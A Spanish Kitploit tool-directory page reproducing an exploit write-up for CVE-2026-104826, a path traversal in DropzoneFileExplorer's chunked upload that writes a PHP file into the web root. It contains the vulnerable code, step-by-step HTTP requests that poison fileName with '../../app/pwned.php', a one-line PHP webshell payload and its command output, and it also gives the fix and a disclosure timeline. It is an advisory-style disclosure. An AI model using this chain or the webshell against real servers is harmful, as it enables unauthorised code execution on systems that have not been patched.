Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/kiwknr/cve-2026-104826
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Prueba de concepto de cadena de explotación para CVE-2026-104826, un path traversal en el manejador de carga fragmentada de DropzoneFileExplorer que escribe un webshell PHP para ejecución remota de código.

Ver Repositorio
1hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-104826 - Path traversal a RCE en DropzoneFileExplorer

El manejador de subidas reanudables (por chunks) confía en el fileName proporcionado por el cliente hasta llegar a fopen(). Aliméntalo con ../../ y escribirás fuera de tu carpeta permitida, fuera de la raíz de almacenamiento, dentro de la raíz web. La aplicación sirve PHP, así que el archivo que plantas se ejecuta.

Proyecto: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AvisoGHSA-7626-89vx-5rpc
ClaseCWE-22 (Path Traversal) -> CWE-434 -> RCE
Authautenticado por defecto, no autenticado si AUTH_ENABLE=false
CVSS v4.08.5 Alto (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Afectadov1.1 (probado en el commit 68858e0)
Corregido env1.2
CréditoKanarat Kaeothong (Axiom0x)

Dónde falla

Dos funciones importan. uploadInit toma fileName del cuerpo de la petición y lo conserva sin más que un trim() (inc/functions.php, alrededor de L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize posteriormente lo lee de vuelta y ensambla la ruta de salida (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() está bien por sí sola. Llama a realpath() y se asegura de que la ruta permanezca bajo las raíces del usuario. El problema es lo que recibe. $destBaseAbs y $finalDirAbs se validan ambos, pero $finalAbs, el que realmente contiene el fileName del atacante, nunca lo es. fopen() recibe la cadena cruda .../shared/../../app/shell.php y el sistema operativo colapsa los .. por ti.

Cabe señalar: cualquier otra ruta de escritura en este código base o bien pasa la ruta compuesta por ensure_inside_allowed_roots() o bien envuelve el nombre en basename(). Esta no hace ninguna de las dos cosas. Se lee como un punto que fue refactorizado y la comprobación final se perdió.

Reproducir

v1.1 original, configuración por defecto (AUTH_ENABLE=true). El actor es un usuario normal lowpriv cuya única carpeta es shared.

  1. Inicia sesión como lowpriv (obtén el token CSRF de la página de login, luego haz POST de auth_action=login).

  2. Confirma que el sandbox realmente funciona. Subir directamente a la carpeta de otro es rechazado:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Usa la carpeta permitida, pero envenena fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Envía el payload como un solo chunk:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Finaliza:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    La respuesta reporta app/pwned.php. La propia aplicación te está diciendo que escribió fuera de shared y fuera de la raíz de almacenamiento.

  6. Ejecútalo:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

De mi propia ejecución contra una instancia local:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

Consulta poc/exploit.py para la cadena completa (login, CSRF, envenenamiento, chunk, finalización, ejecución).

Impacto

Cualquiera autorizado a subir puede escribir un archivo dondequiera que el proceso PHP pueda escribir, sin importar lo que digan las reglas de carpetas por usuario. Un archivo .php en la raíz web es ejecución remota de código como el usuario web. Con AUTH_ENABLE=false no hay paso de login y es RCE no autenticado directo.

Corrección

En uploadFinalize, reduce fileName a un nombre simple antes de abrirlo, y vuelve a comprobar la ruta compuesta:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename() por sí solo detiene el traversal. Añadir la comprobación ensure_inside_allowed_roots($finalAbs) es la versión con tirantes y cinturón, y coincide con cómo el resto del código ya protege las escrituras. El mismo tratamiento debe aplicarse a la rama de la política rename (alrededor de L2210) donde $finalName se recalcula. El mantenedor lo incluyó en v1.2.

Cronología

  • 2026-07-26 lo encontré, construí y ejecuté la cadena completa contra una v1.1 local
  • 2026-07-27 reportado de forma privada (GitHub Security + correo al mantenedor)
  • 2026-07-27 GHSA privado abierto (GHSA-7626-89vx-5rpc)
  • 2026-07-28 el mantenedor confirmó y publicó v1.2, aviso publicado
  • 2026-10-02 GitHub CNA asignó CVE-2026-104826

Referencias

  • Aviso: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-104826

Divulgación coordinada, corregido antes de que esto se hiciera público. El PoC está deliberadamente dirigido a una instancia de prueba local. No lo apuntes a nada que no sea tuyo.

Descargar herramienta